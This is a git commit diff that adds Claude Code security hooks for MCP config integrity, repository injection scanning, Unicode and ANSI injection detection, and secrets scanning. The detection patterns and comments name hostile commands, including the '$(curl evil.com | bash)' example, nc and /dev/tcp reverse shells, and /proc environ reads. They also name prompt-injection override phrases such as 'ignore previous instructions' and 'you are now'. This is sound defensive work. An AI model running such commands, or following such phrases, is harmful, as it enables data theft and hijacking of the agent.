feat(security): add security hardening guide and hooks v3.6.0
- Add guide/security-hardening.md (~10K) covering: - MCP vetting workflow with CVE-2025-53109/53110, 54135, 54136 - Prompt injection evasion techniques (Unicode, ANSI, null bytes) - Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian) - Incident response procedures - Add 3 new security hooks: - unicode-injection-scanner.sh: zero-width, RTL, ANSI escape detection - repo-integrity-scanner.sh: scan README/package.json for injection - mcp-config-integrity.sh: verify MCP config hash - Update existing hooks: - prompt-injection-detector.sh: +ANSI, +null bytes, +nested cmd - output-secrets-scanner.sh: +env leakage, +generic tokens - Update cross-references in ultimate-guide.md (§7.4, §8.6) - Move MCP Security Hardening to Done in IDEAS.md Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
55a9fa34cf
commit
34b2ca7200
12 changed files with 986 additions and 22 deletions
30
IDEAS.md
30
IDEAS.md
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
> Research topics for future guide improvements. Curated and validated.
|
||||
|
||||
## High Priority
|
||||
## Done
|
||||
|
||||
### MCP Security Hardening
|
||||
### MCP Security Hardening ✅
|
||||
Unified security research covering MCP vulnerabilities, prompt injection, and secret detection.
|
||||
|
||||
**Topics:**
|
||||
- Real-world Tool Shadowing and Confused Deputy incidents
|
||||
- Prompt injection bypass techniques (Unicode, encoding, obfuscation)
|
||||
- Secret detection regex patterns (compare GitHub, Gitleaks, TruffleHog)
|
||||
- Supply chain risks in MCP server ecosystem
|
||||
**Completed**: [Security Hardening Guide](./guide/security-hardening.md) covers:
|
||||
- CVE-2025-53109/53110, 54135, 54136 with mitigations
|
||||
- MCP vetting workflow with 5-minute audit checklist
|
||||
- MCP Safe List (community vetted)
|
||||
- Prompt injection evasion techniques (Unicode, ANSI, null bytes)
|
||||
- Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian)
|
||||
- Incident response procedures (secret exposed, MCP compromised)
|
||||
- 3 new hooks: `unicode-injection-scanner.sh`, `repo-integrity-scanner.sh`, `mcp-config-integrity.sh`
|
||||
|
||||
**Perplexity Query:**
|
||||
```
|
||||
MCP Model Context Protocol security vulnerabilities 2024-2025:
|
||||
- Tool shadowing attacks
|
||||
- Prompt injection bypass techniques for coding assistants
|
||||
- Secret detection regex patterns comparison (GitHub vs Gitleaks vs TruffleHog)
|
||||
Include real incidents if documented.
|
||||
```
|
||||
---
|
||||
|
||||
## High Priority
|
||||
|
||||
*(No items currently)*
|
||||
|
||||
---
|
||||
|
||||
|
|
|
|||
|
|
@ -405,11 +405,14 @@ Copy-paste templates from [`examples/`](./examples/) for immediate use:
|
|||
|------|-------|---------|
|
||||
| [dangerous-actions-blocker.sh](./examples/hooks/bash/dangerous-actions-blocker.sh) | PreToolUse | Block `rm -rf /`, force push, secrets |
|
||||
| [prompt-injection-detector.sh](./examples/hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts |
|
||||
| [unicode-injection-scanner.sh](./examples/hooks/bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL, ANSI escape |
|
||||
| [repo-integrity-scanner.sh](./examples/hooks/bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for injection |
|
||||
| [mcp-config-integrity.sh](./examples/hooks/bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE protection) |
|
||||
| [output-secrets-scanner.sh](./examples/hooks/bash/output-secrets-scanner.sh) | PostToolUse | Detect exposed secrets |
|
||||
| [notification.sh](./examples/hooks/bash/notification.sh) | Notification | macOS sound alerts |
|
||||
| [auto-format.sh](./examples/hooks/bash/auto-format.sh) | PostToolUse | Auto-format with Prettier |
|
||||
|
||||
**[See All 11 Hooks](./examples/hooks/)** — Includes session-logger, security-check, claudemd-scanner, and more
|
||||
**[See All 14 Hooks](./examples/hooks/)** — Includes session-logger, security-check, claudemd-scanner, and more
|
||||
|
||||
### GitHub Actions (CI/CD)
|
||||
|
||||
|
|
@ -554,7 +557,7 @@ If this guide saved you time, helped you master Claude Code, or inspired your wo
|
|||
|
||||
---
|
||||
|
||||
*Version 3.5.0 | January 2026 | Crafted with Claude*
|
||||
*Version 3.6.0 | January 2026 | Crafted with Claude*
|
||||
|
||||
<!-- SEO Keywords -->
|
||||
<!-- claude code, claude code tutorial, anthropic cli, ai coding assistant, claude code mcp,
|
||||
|
|
|
|||
|
|
@ -72,14 +72,18 @@ Ready-to-use templates for Claude Code configuration.
|
|||
|------|-------|---------|
|
||||
| [dangerous-actions-blocker.sh](./hooks/bash/dangerous-actions-blocker.sh) | PreToolUse | Block dangerous commands/edits |
|
||||
| [security-check.*](./hooks/) | PreToolUse | Block secrets in commands |
|
||||
| [prompt-injection-detector.sh](./hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts (+ANSI, null bytes) |
|
||||
| [unicode-injection-scanner.sh](./hooks/bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL, ANSI escape |
|
||||
| [repo-integrity-scanner.sh](./hooks/bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for injection |
|
||||
| [mcp-config-integrity.sh](./hooks/bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE protection) |
|
||||
| [output-secrets-scanner.sh](./hooks/bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets + env leakage |
|
||||
| [auto-format.*](./hooks/) | PostToolUse | Auto-format after edits |
|
||||
| [notification.sh](./hooks/bash/notification.sh) | Notification | Contextual macOS sound alerts |
|
||||
| [prompt-injection-detector.sh](./hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect prompt injection attempts |
|
||||
| [output-validator.sh](./hooks/bash/output-validator.sh) | PostToolUse | Heuristic output validation |
|
||||
| [session-logger.sh](./hooks/bash/session-logger.sh) | PostToolUse | Log operations for monitoring |
|
||||
| [pre-commit-evaluator.sh](./hooks/bash/pre-commit-evaluator.sh) | Git hook | LLM-as-a-Judge pre-commit |
|
||||
|
||||
> **See [hooks/README.md](./hooks/README.md) for complete documentation and examples**
|
||||
> **See [hooks/README.md](./hooks/README.md) for complete documentation and security hardening patterns**
|
||||
|
||||
### Config
|
||||
| File | Purpose |
|
||||
|
|
|
|||
|
|
@ -8,8 +8,12 @@ Hooks are scripts that execute automatically on Claude Code events. They enable
|
|||
|------|-------|---------|----------|
|
||||
| [dangerous-actions-blocker.sh](./bash/dangerous-actions-blocker.sh) | PreToolUse | Block dangerous commands/edits | Bash |
|
||||
| [security-check.sh](./bash/security-check.sh) | PreToolUse | Block secrets in commands | Bash |
|
||||
| [prompt-injection-detector.sh](./bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts (+ANSI, null bytes, nested cmd) | Bash |
|
||||
| [unicode-injection-scanner.sh](./bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL override, ANSI escape, null bytes | Bash |
|
||||
| [repo-integrity-scanner.sh](./bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for hidden injection | Bash |
|
||||
| [mcp-config-integrity.sh](./bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE-2025-54135/54136) | Bash |
|
||||
| [claudemd-scanner.sh](./bash/claudemd-scanner.sh) | SessionStart | Detect CLAUDE.md injection attacks | Bash |
|
||||
| [output-secrets-scanner.sh](./bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets in tool outputs | Bash |
|
||||
| [output-secrets-scanner.sh](./bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets + env leakage in tool outputs | Bash |
|
||||
| [auto-format.sh](./bash/auto-format.sh) | PostToolUse | Auto-format after edits | Bash |
|
||||
| [notification.sh](./bash/notification.sh) | Notification | Contextual macOS sound alerts | Bash (macOS) |
|
||||
| [security-check.ps1](./powershell/security-check.ps1) | PreToolUse | Block secrets in commands | PowerShell |
|
||||
|
|
|
|||
118
examples/hooks/bash/mcp-config-integrity.sh
Executable file
118
examples/hooks/bash/mcp-config-integrity.sh
Executable file
|
|
@ -0,0 +1,118 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# MCP Config Integrity Hook
|
||||
# =============================================================================
|
||||
# Event: SessionStart (runs when Claude Code session begins)
|
||||
# Purpose: Verify MCP configuration has not been tampered with
|
||||
#
|
||||
# This hook addresses CVE-2025-54135 and CVE-2025-54136 by:
|
||||
# - Computing hash of ~/.claude/mcp.json
|
||||
# - Comparing against stored baseline
|
||||
# - Alerting on unauthorized modifications
|
||||
# - Checking project-level .mcp.json for suspicious content
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "SessionStart": [
|
||||
# "bash examples/hooks/bash/mcp-config-integrity.sh"
|
||||
# ]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Initial setup (run once to create baseline):
|
||||
# sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (config unchanged or no baseline)
|
||||
# Non-zero outputs systemMessage warnings
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-54135: RCE in Cursor via prompt injection rewriting mcp.json
|
||||
# - CVE-2025-54136: Persistent team backdoor via post-approval config tampering
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Configuration paths
|
||||
MCP_CONFIG="${HOME}/.claude/mcp.json"
|
||||
MCP_BASELINE="${HOME}/.claude/.mcp-baseline.sha256"
|
||||
PROJECT_MCP=".mcp.json"
|
||||
|
||||
WARNINGS=()
|
||||
|
||||
# === GLOBAL MCP CONFIG CHECK ===
|
||||
if [[ -f "$MCP_CONFIG" ]]; then
|
||||
# Check if baseline exists
|
||||
if [[ -f "$MCP_BASELINE" ]]; then
|
||||
# Compute current hash
|
||||
CURRENT_HASH=$(sha256sum "$MCP_CONFIG" 2>/dev/null | awk '{print $1}')
|
||||
BASELINE_HASH=$(awk '{print $1}' "$MCP_BASELINE" 2>/dev/null || echo "")
|
||||
|
||||
if [[ -n "$CURRENT_HASH" && -n "$BASELINE_HASH" && "$CURRENT_HASH" != "$BASELINE_HASH" ]]; then
|
||||
WARNINGS+=("MCP config modified since baseline was created. Review ~/.claude/mcp.json for unauthorized changes. Run 'sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256' to update baseline if changes are legitimate.")
|
||||
fi
|
||||
else
|
||||
# No baseline - suggest creating one
|
||||
WARNINGS+=("No MCP config baseline found. Consider running: sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256")
|
||||
fi
|
||||
|
||||
# === CHECK FOR SUSPICIOUS MCP SERVERS ===
|
||||
# Look for known risky patterns
|
||||
MCP_CONTENT=$(cat "$MCP_CONFIG" 2>/dev/null || echo "{}")
|
||||
|
||||
# Check for dangerous flags
|
||||
if echo "$MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
|
||||
WARNINGS+=("MCP config contains dangerous flags (--dangerous, --allow-write, or --no-sandbox). Review carefully.")
|
||||
fi
|
||||
|
||||
# Check for unpinned versions (using @latest or no version)
|
||||
if echo "$MCP_CONTENT" | grep -qE '"[^"]*@latest"|"npx"[^}]*"-y"[^}]*"[^@"]+\"'; then
|
||||
WARNINGS+=("MCP config may contain unpinned versions (@latest or missing version). Pin to specific versions for security.")
|
||||
fi
|
||||
|
||||
# Check for suspicious environment variables
|
||||
if echo "$MCP_CONTENT" | grep -qiE '"env"[^}]*"(PASSWORD|SECRET|TOKEN|API_KEY|PRIVATE_KEY)"'; then
|
||||
WARNINGS+=("MCP config contains potentially sensitive environment variables. Ensure these are not hardcoded secrets.")
|
||||
fi
|
||||
|
||||
# Check for external URLs in commands
|
||||
if echo "$MCP_CONTENT" | grep -qE 'https?://[^"]+' | grep -vE 'npm|github|registry'; then
|
||||
WARNINGS+=("MCP config references external URLs. Verify these are trusted sources.")
|
||||
fi
|
||||
fi
|
||||
|
||||
# === PROJECT-LEVEL MCP CONFIG CHECK ===
|
||||
if [[ -f "$PROJECT_MCP" ]]; then
|
||||
PROJECT_MCP_CONTENT=$(cat "$PROJECT_MCP" 2>/dev/null || echo "{}")
|
||||
|
||||
# Check for dangerous flags in project config
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
|
||||
WARNINGS+=("Project .mcp.json contains dangerous flags. This could be a supply chain attack.")
|
||||
fi
|
||||
|
||||
# Check for shell injection patterns
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qE '\$\(|`[^`]+`|&&|\|\|'; then
|
||||
WARNINGS+=("Project .mcp.json contains shell metacharacters. Review for command injection.")
|
||||
fi
|
||||
|
||||
# Check for base64-encoded content
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qE '[A-Za-z0-9+/]{40,}={0,2}'; then
|
||||
WARNINGS+=("Project .mcp.json contains base64-like content. This could hide malicious payloads.")
|
||||
fi
|
||||
fi
|
||||
|
||||
# === OUTPUT WARNINGS ===
|
||||
if [[ ${#WARNINGS[@]} -gt 0 ]]; then
|
||||
WARNING_MSG=""
|
||||
for warning in "${WARNINGS[@]}"; do
|
||||
WARNING_MSG="${WARNING_MSG}⚠️ ${warning} "
|
||||
done
|
||||
|
||||
# Output as systemMessage
|
||||
echo "{\"systemMessage\": \"MCP INTEGRITY CHECK: ${WARNING_MSG}\"}"
|
||||
fi
|
||||
|
||||
# Always exit 0 (warn, don't block session start)
|
||||
exit 0
|
||||
|
|
@ -52,6 +52,8 @@ declare -A SECRET_PATTERNS=(
|
|||
["Stripe Key"]="(sk|pk)_(live|test)_[0-9a-zA-Z]{24,}"
|
||||
["Twilio Key"]="SK[a-f0-9]{32}"
|
||||
["SendGrid Key"]="SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"
|
||||
["Slack Token"]="xox[baprs]-[0-9a-zA-Z-]{10,}"
|
||||
["Discord Token"]="[MN][A-Za-z0-9]{23,}\.[A-Za-z0-9-_]{6}\.[A-Za-z0-9-_]{27}"
|
||||
|
||||
# Tokens
|
||||
["GitHub Token"]="(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}"
|
||||
|
|
@ -59,6 +61,7 @@ declare -A SECRET_PATTERNS=(
|
|||
["NPM Token"]="npm_[a-zA-Z0-9]{36}"
|
||||
["PyPI Token"]="pypi-[a-zA-Z0-9_-]{50,}"
|
||||
["JWT Token"]="eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*"
|
||||
["Heroku API Key"]="[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
|
||||
|
||||
# Private Keys
|
||||
["Private Key"]="-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
|
||||
|
|
@ -68,9 +71,15 @@ declare -A SECRET_PATTERNS=(
|
|||
["Database URL with Password"]="(postgres|mysql|mongodb)://[^:]+:[^@]+@"
|
||||
["Redis URL with Password"]="redis://:[^@]+@"
|
||||
|
||||
# Generic
|
||||
# Generic (58% of leaked secrets are "generic" - GitGuardian 2025)
|
||||
["Generic API Key"]="(api[_-]?key|apikey|api[_-]?secret)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
|
||||
["Generic Secret"]="(secret|password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^\s'\"]{8,}"
|
||||
["Generic Token"]="(token|auth[_-]?token|access[_-]?token|bearer)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
|
||||
["Private Key Inline"]="['\"]?-----BEGIN[^-]+PRIVATE KEY-----"
|
||||
|
||||
# Environment Variable Leakage
|
||||
["Env Dump Command"]="^(env|printenv|set)$"
|
||||
["Proc Environ Access"]="/proc/self/environ|/proc/[0-9]+/environ"
|
||||
)
|
||||
|
||||
DETECTED_SECRETS=()
|
||||
|
|
|
|||
|
|
@ -159,6 +159,38 @@ if echo "$CONTENT" | grep -qE '[A-Za-z0-9+/]{50,}={0,2}'; then
|
|||
done
|
||||
fi
|
||||
|
||||
# === ANSI ESCAPE SEQUENCES ===
|
||||
# Terminal manipulation via escape codes (CVE-related)
|
||||
# \x1b[ CSI, \x1b] OSC, \x1b( charset selection
|
||||
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
|
||||
echo "BLOCKED: ANSI escape sequence detected - potential terminal injection" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NULL BYTE INJECTION ===
|
||||
# Null bytes can truncate strings and bypass security checks
|
||||
if echo "$CONTENT" | grep -qP '\x00'; then
|
||||
echo "BLOCKED: Null byte detected - potential truncation attack" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NESTED COMMAND EXECUTION ===
|
||||
# Detect $() and backtick command substitution that could bypass denylists
|
||||
# This catches patterns like: $(curl evil.com | bash) or `rm -rf /`
|
||||
NESTED_CMD_PATTERNS=(
|
||||
'\$\([^)]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
|
||||
'`[^`]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
|
||||
'\$\([^)]*\b(rm|dd|mkfs|chmod|chown)\b'
|
||||
'`[^`]*\b(rm|dd|mkfs|chmod|chown)\b'
|
||||
)
|
||||
|
||||
for pattern in "${NESTED_CMD_PATTERNS[@]}"; do
|
||||
if echo "$CONTENT" | grep -qE "$pattern"; then
|
||||
echo "BLOCKED: Nested command execution detected - potential bypass attempt" >&2
|
||||
exit 2
|
||||
fi
|
||||
done
|
||||
|
||||
# === CONTEXT MANIPULATION ===
|
||||
# Attempts to manipulate the conversation context
|
||||
CONTEXT_PATTERNS=(
|
||||
|
|
|
|||
215
examples/hooks/bash/repo-integrity-scanner.sh
Executable file
215
examples/hooks/bash/repo-integrity-scanner.sh
Executable file
|
|
@ -0,0 +1,215 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Repository Integrity Scanner Hook
|
||||
# =============================================================================
|
||||
# Event: PreToolUse (runs before Read on potentially malicious files)
|
||||
# Purpose: Scan repository files for injection vectors before processing
|
||||
#
|
||||
# This hook detects prompt injection attempts hidden in:
|
||||
# - README.md, SECURITY.md (hidden HTML comments)
|
||||
# - package.json, pyproject.toml (malicious scripts)
|
||||
# - .claude/, .cursor/ configs (tampered configurations)
|
||||
# - CONTRIBUTING.md (social engineering instructions)
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "PreToolUse": [{
|
||||
# "matcher": "Read",
|
||||
# "hooks": ["bash examples/hooks/bash/repo-integrity-scanner.sh"]
|
||||
# }]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (safe or not a target file)
|
||||
# 2 = block (injection detected)
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-54135: RCE via config file rewriting
|
||||
# - CVE-2025-54136: Team backdoor via post-approval config tampering
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Read the hook input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
|
||||
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
|
||||
|
||||
# Only check Read operations
|
||||
[[ "$TOOL_NAME" != "Read" ]] && exit 0
|
||||
|
||||
FILE_PATH=$(echo "$TOOL_INPUT" | jq -r '.file_path // empty')
|
||||
[[ -z "$FILE_PATH" ]] && exit 0
|
||||
|
||||
# Check if file exists
|
||||
[[ ! -f "$FILE_PATH" ]] && exit 0
|
||||
|
||||
FILENAME=$(basename "$FILE_PATH")
|
||||
DIRNAME=$(dirname "$FILE_PATH")
|
||||
|
||||
# === HIGH-RISK FILES ===
|
||||
# These files are common injection vectors
|
||||
HIGH_RISK_FILES=(
|
||||
"README.md"
|
||||
"readme.md"
|
||||
"SECURITY.md"
|
||||
"CONTRIBUTING.md"
|
||||
"CHANGELOG.md"
|
||||
)
|
||||
|
||||
# === CONFIG FILES ===
|
||||
# Configuration files that could contain malicious settings
|
||||
CONFIG_FILES=(
|
||||
"package.json"
|
||||
"pyproject.toml"
|
||||
"setup.py"
|
||||
"setup.cfg"
|
||||
"Makefile"
|
||||
".pre-commit-config.yaml"
|
||||
)
|
||||
|
||||
# === CLAUDE/CURSOR CONFIG ===
|
||||
# IDE config files that could be tampered
|
||||
IDE_CONFIG_PATTERNS=(
|
||||
".claude"
|
||||
".cursor"
|
||||
".vscode"
|
||||
".idea"
|
||||
)
|
||||
|
||||
# Function to check for injection patterns
|
||||
check_injection_patterns() {
|
||||
local file="$1"
|
||||
local content
|
||||
content=$(cat "$file" 2>/dev/null || echo "")
|
||||
|
||||
# === HIDDEN HTML COMMENTS ===
|
||||
# Look for HTML comments with instruction-like content
|
||||
if echo "$content" | grep -qiE '<!--.*\b(ignore|override|system|execute|run|eval|inject)\b.*-->'; then
|
||||
echo "BLOCKED: Hidden HTML comment with suspicious instructions in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
# === ROLE OVERRIDE PATTERNS ===
|
||||
if echo "$content" | grep -qiE 'ignore (previous|all|your) instructions|you are now|pretend (you are|to be)|from now on|new instructions:'; then
|
||||
echo "BLOCKED: Prompt injection pattern detected in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
# === BASE64 IN COMMENTS ===
|
||||
# Long base64 strings in comments could be encoded instructions
|
||||
if echo "$content" | grep -qE '(#|//|<!--).*[A-Za-z0-9+/]{40,}={0,2}'; then
|
||||
# Try to decode and check for injection
|
||||
local encoded
|
||||
encoded=$(echo "$content" | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | head -1)
|
||||
local decoded
|
||||
decoded=$(echo "$encoded" | base64 -d 2>/dev/null || echo "")
|
||||
if echo "$decoded" | grep -qiE 'ignore|override|system|jailbreak'; then
|
||||
echo "BLOCKED: Base64-encoded injection detected in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# Function to check package.json for suspicious scripts
|
||||
check_package_json() {
|
||||
local file="$1"
|
||||
|
||||
# Extract scripts section
|
||||
local scripts
|
||||
scripts=$(jq -r '.scripts // {} | to_entries[] | "\(.key): \(.value)"' "$file" 2>/dev/null || echo "")
|
||||
|
||||
# Suspicious script patterns
|
||||
SUSPICIOUS_PATTERNS=(
|
||||
"curl.*|.*bash"
|
||||
"wget.*|.*sh"
|
||||
"eval\("
|
||||
"base64.*-d"
|
||||
"nc -"
|
||||
"reverse.*shell"
|
||||
"/dev/tcp/"
|
||||
"\\$\\(.*\\)" # Command substitution
|
||||
)
|
||||
|
||||
for pattern in "${SUSPICIOUS_PATTERNS[@]}"; do
|
||||
if echo "$scripts" | grep -qiE "$pattern"; then
|
||||
echo "BLOCKED: Suspicious npm script detected in $file: pattern '$pattern'" >&2
|
||||
return 1
|
||||
fi
|
||||
done
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# Function to check Python setup files
|
||||
check_python_setup() {
|
||||
local file="$1"
|
||||
local content
|
||||
content=$(cat "$file" 2>/dev/null || echo "")
|
||||
|
||||
# Suspicious patterns in setup files
|
||||
if echo "$content" | grep -qiE 'os\.system|subprocess\.(run|call|Popen)|exec\(|eval\(|__import__.*os'; then
|
||||
# Warning only - these could be legitimate
|
||||
echo '{"systemMessage": "Warning: Python setup file contains code execution patterns. Verify legitimacy before installing."}'
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# === MAIN CHECKS ===
|
||||
|
||||
# Check high-risk markdown files
|
||||
for risk_file in "${HIGH_RISK_FILES[@]}"; do
|
||||
if [[ "$FILENAME" == "$risk_file" ]]; then
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Check config files
|
||||
for config_file in "${CONFIG_FILES[@]}"; do
|
||||
if [[ "$FILENAME" == "$config_file" ]]; then
|
||||
case "$FILENAME" in
|
||||
package.json)
|
||||
check_package_json "$FILE_PATH" || exit 2
|
||||
;;
|
||||
pyproject.toml|setup.py|setup.cfg)
|
||||
check_python_setup "$FILE_PATH" || exit 2
|
||||
;;
|
||||
Makefile)
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
;;
|
||||
esac
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Check IDE config directories
|
||||
for ide_pattern in "${IDE_CONFIG_PATTERNS[@]}"; do
|
||||
if [[ "$DIRNAME" == *"$ide_pattern"* || "$FILE_PATH" == *"$ide_pattern"* ]]; then
|
||||
# Extra scrutiny for IDE configs
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
|
||||
# Check for suspicious config modifications
|
||||
if [[ "$FILENAME" == *.json ]]; then
|
||||
local content
|
||||
content=$(cat "$FILE_PATH" 2>/dev/null || echo "")
|
||||
|
||||
# Look for hooks pointing to external URLs or suspicious commands
|
||||
if echo "$content" | grep -qiE '"hooks".*"(curl|wget|bash|sh|nc|python|node)'; then
|
||||
echo "BLOCKED: Suspicious hook command in IDE config: $FILE_PATH" >&2
|
||||
exit 2
|
||||
fi
|
||||
fi
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# All checks passed
|
||||
exit 0
|
||||
141
examples/hooks/bash/unicode-injection-scanner.sh
Executable file
141
examples/hooks/bash/unicode-injection-scanner.sh
Executable file
|
|
@ -0,0 +1,141 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Unicode Injection Scanner Hook
|
||||
# =============================================================================
|
||||
# Event: PreToolUse (runs before Edit/Write operations)
|
||||
# Purpose: Detect invisible Unicode characters used for prompt injection
|
||||
#
|
||||
# This hook detects evasion techniques that embed invisible instructions:
|
||||
# - Zero-width characters (U+200B-U+200D, U+FEFF)
|
||||
# - RTL/LTR override (U+202A-U+202E, U+2066-U+2069)
|
||||
# - ANSI escape sequences (terminal injection)
|
||||
# - Null bytes (truncation attacks)
|
||||
# - Tag characters (U+E0000-U+E007F)
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "PreToolUse": [{
|
||||
# "matcher": "Edit|Write",
|
||||
# "hooks": ["bash examples/hooks/bash/unicode-injection-scanner.sh"]
|
||||
# }]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (no injection detected)
|
||||
# 2 = block (injection detected, stderr message shown to Claude)
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-53109/53110: Unicode-based sandbox escape
|
||||
# - Arxiv 2509.22040: Prompt Injection on Coding Assistants
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Read the hook input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
|
||||
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
|
||||
|
||||
# Only check Edit and Write tools
|
||||
case "$TOOL_NAME" in
|
||||
Edit|Write)
|
||||
;;
|
||||
*)
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
# Extract content to analyze
|
||||
CONTENT=""
|
||||
case "$TOOL_NAME" in
|
||||
Write)
|
||||
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.content // empty')
|
||||
;;
|
||||
Edit)
|
||||
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.new_string // empty')
|
||||
;;
|
||||
esac
|
||||
|
||||
# Skip if no content
|
||||
[[ -z "$CONTENT" ]] && exit 0
|
||||
|
||||
# === ZERO-WIDTH CHARACTERS ===
|
||||
# U+200B Zero Width Space
|
||||
# U+200C Zero Width Non-Joiner
|
||||
# U+200D Zero Width Joiner
|
||||
# U+FEFF Byte Order Mark (when not at start)
|
||||
if echo "$CONTENT" | grep -qP '[\x{200B}-\x{200D}\x{FEFF}]'; then
|
||||
echo "BLOCKED: Zero-width characters detected (U+200B-U+200D or BOM). These can hide malicious instructions." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === BIDIRECTIONAL TEXT OVERRIDE ===
|
||||
# U+202A Left-to-Right Embedding
|
||||
# U+202B Right-to-Left Embedding
|
||||
# U+202C Pop Directional Formatting
|
||||
# U+202D Left-to-Right Override
|
||||
# U+202E Right-to-Left Override (most dangerous - reverses text display)
|
||||
# U+2066-U+2069 Isolate controls
|
||||
if echo "$CONTENT" | grep -qP '[\x{202A}-\x{202E}\x{2066}-\x{2069}]'; then
|
||||
echo "BLOCKED: Bidirectional text override detected (U+202A-U+202E). These can disguise malicious commands." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === ANSI ESCAPE SEQUENCES ===
|
||||
# \x1b[ CSI (Control Sequence Introducer) - terminal control
|
||||
# \x1b] OSC (Operating System Command)
|
||||
# \x1b( Character set selection
|
||||
# These can manipulate terminal display or execute commands
|
||||
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
|
||||
echo "BLOCKED: ANSI escape sequence detected. These can manipulate terminal display." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NULL BYTES ===
|
||||
# \x00 can truncate strings and bypass security checks
|
||||
if echo "$CONTENT" | grep -qP '\x00'; then
|
||||
echo "BLOCKED: Null byte detected. These can cause string truncation attacks." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === TAG CHARACTERS ===
|
||||
# U+E0000-U+E007F are invisible "tag" characters
|
||||
